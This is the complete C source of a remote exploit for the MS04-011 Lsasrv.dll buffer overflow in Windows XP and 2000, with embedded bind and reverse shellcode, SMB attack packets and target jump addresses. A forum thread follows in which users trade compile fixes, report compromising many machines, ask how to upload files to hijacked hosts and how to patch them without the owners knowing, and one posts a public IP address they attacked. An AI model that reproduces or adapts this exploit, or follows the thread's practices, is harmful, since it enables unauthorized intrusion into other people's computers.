/* HOD-ms04011-lsasrv-expl.c:
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit
* Version 0.1 coded by
*
*
* .::[ houseofdabus ]::.
*
*
* -------------------------------------------------------------------
* Usage:
*
* expl <target> <victim IP> <bindport> [connectback IP] [options]
*
* Targets:
* 0 [0x01004600]: WinXP Professional [universal] lsass.exe
* 1 [0x7515123c]: Win2k Professional [universal] netrap.dll
* 2 [0x751c123c]: Win2k Advanced Server [SP4] netrap.dll
*
* Options:
* -t: Detect remote OS:
* Windows 5.1 - WinXP
* Windows 5.0 - Win2k
* -------------------------------------------------------------------
*
* Tested on
* - Windows XP Professional SP0 English version
* - Windows XP Professional SP0 Russian version
* - Windows XP Professional SP1 English version
* - Windows XP Professional SP1 Russian version
* - Windows 2000 Professional SP2 English version
* - Windows 2000 Professional SP2 Russian version
* - Windows 2000 Professional SP4 English version
* - Windows 2000 Professional SP4 Russian version
* - Windows 2000 Advanced Server SP4 English version
* - Windows 2000 Advanced Server SP4 Russian version
*
*
* Example:
*
* C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Detecting remote OS: Windows 5.0
*
*
* C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
*
* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
* [*] Connecting to 192.168.1.10:445 ... OK
* [*] Attacking ... OK
*
* C:\nc 192.168.1.10 4444
* Microsoft Windows 2000 [Version 5.00.2195]
* © Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
*
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/

#include <windows.h>

#pragma comment(lib, "ws2_32")

// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";



char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";


char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";




#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90

struct targets {

int num;
char name[50];
long jmpaddr;

} ttarget[]= {

{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }

};

void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf(" -t: Detect remote OS:\n");
printf(" Windows 5.1 - WinXP\n");
printf(" Windows 5.0 - Win2k\n\n");
exit(0);
}



int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;


printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");


if (argc < 4) {
usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}


if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);

//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

memcpy(&buf[2856], sc, strlen(sc));

for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}


their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-
1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}

wow lol

The W32.Sasser.Worm has done his work.
(filtered) the worms !

this is new exploit for lsass. Hmmmm maybe this working. I'm test it

yeah, the one that doesn't have screwed up offsets.. now it's a good learning script, but don't expect many shells out of it (sasser)

it's not work on win XP prof, i've try change the code but still not work, some one cna tell me what is the correct code for win XP..??

I've tested this exploit and it worked 100% outa 100 vulun computers tested.

polpot--> are test on win XP prof too..??

After analyzing the code, this does not seem to be any different from the remote universal exploit released from K-OTik on 4/29/04.

Found here: http://www.k-otik.com/exploits/04292004.HO...asrv-expl.c.php

It merely looks as if some vxers have have transformed this code into something that will move on its own in the form of the sasser.A-C worms. S.S.D.D

Ciau...

digitalk2003

any info bout sasser worm exploit? is there anything bout it out?

Offset is not Universal.

If it doesn't work for you, don't worry.

In example, doesn't work for w2k pro sp2 in spanish.

Hi, where i can get lsasrv's exploit for windows? Thank You

I cant compile the code?
All kinds off errors?

I can't get it to compile uder gcc myself, get lots of errors. Oh well.

yup.. can't compile also...

you have to compile it using Visual C++

hi

when i got shell...
how can i upload .exe files?
(exept of tftp)

Yep first box one shell

anyone can host a compiled version of houseofdabus's version?

not visual at univ. lol

very nice and work well

Echoin' works great! Gonna try the xcopy way

BTW are u still finding some vunrable servers....? I don't.. :/ Think the works is spreading..

what r ya'll compiling with? i tried vc++ got i shitload of errors. had to fix a few little things such as the "sprintf" mispelling but am still having hella problems

what am i missing here???

thx in advance

don't know, maybe if you show us the errors we could help

C:\Documents and Settings\GAN_GR33N\Cpp1.cpp(284) : error C2065: 'printf' : undeclared identifier
C:\Documents and Settings\GAN_GR33N\Cpp1.cpp(383) : error C2664: 'strlen' : cannot convert parameter 1 from 'unsigned char *' to 'const char *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
C:\Documents and Settings\GAN_GR33N\Cpp1.cpp(389) : error C2664: 'strlen' : cannot convert parameter 1 from 'unsigned char *' to 'const char *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
C:\Documents and Settings\GAN_GR33N\Cpp1.cpp(403) : error C2664: 'strlen' : cannot convert parameter 1 from 'unsigned char *' to 'const char *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
Error executing cl.exe.

Cpp1.exe - 4 error(s), 0 warning(s)

anyone know how to remotely secure a box after using this exploit?

Will I be able to run the patch without them knowing though?

type :
nameofpatch.exe /quiet
if all goes well should reboot when done

This exploit is dead----
I got no shell any more!

this is fantastic info guys, using a autohacker atm but not having much luck (i know there isnt as many vul servers but there had to be some! )

gonna try this universal one thanx

the exploit isn't dead i got many shells with the xp.exe!last night i got 20 working shells!

it's amazing your getting all these shells of people the sasser worm missed? i thought this was rendered unusable anymore... wow

Thnx subzero the exploit works perfect!

hy

when i use the exploit
with alot of ips it give me the same msg :

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 62.215.199.18: OS: WinXP Professional [universal] lsass.exe
[*] Connecting to 62.215.199.18:445 ...
[-] Sorry, cannot connect to 62.215.199.18:445. Try again...

with win2k and xp all the same
can someone teal me why !

Duh...?! Ure server went offline btween the scan and hack..?! Try to ping it!

Everybody is patched and this is cool, peace

anyone can host a compiled version of houseofdabus's version?

not visual at univ. lol

is there houseofdabus sploit over 0.1 ?
do anyone know?

C:\RPC3>lsassuni 2 xxxxx 1142 xxxxx

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: xxxxx: OS: Win2k Advanced Server [SP4] netrap.dll
[*] Connecting to xxxxx:445 ... OK
[*] Attacking ... OK

C:\RPC3>nc -vv xxxxx 1142
xxxx [xxxxx] 1142 (?) open

?? it just sits there after that. I have a huge list of XP vuln boxes, and none of the lsasser files i have are working. Yes i know i said XP, this particular box is not XP, but i have tried it on a few XP boxes, nothing. Anyone having this same problem?

thanks, but can u give me the file compiled already ?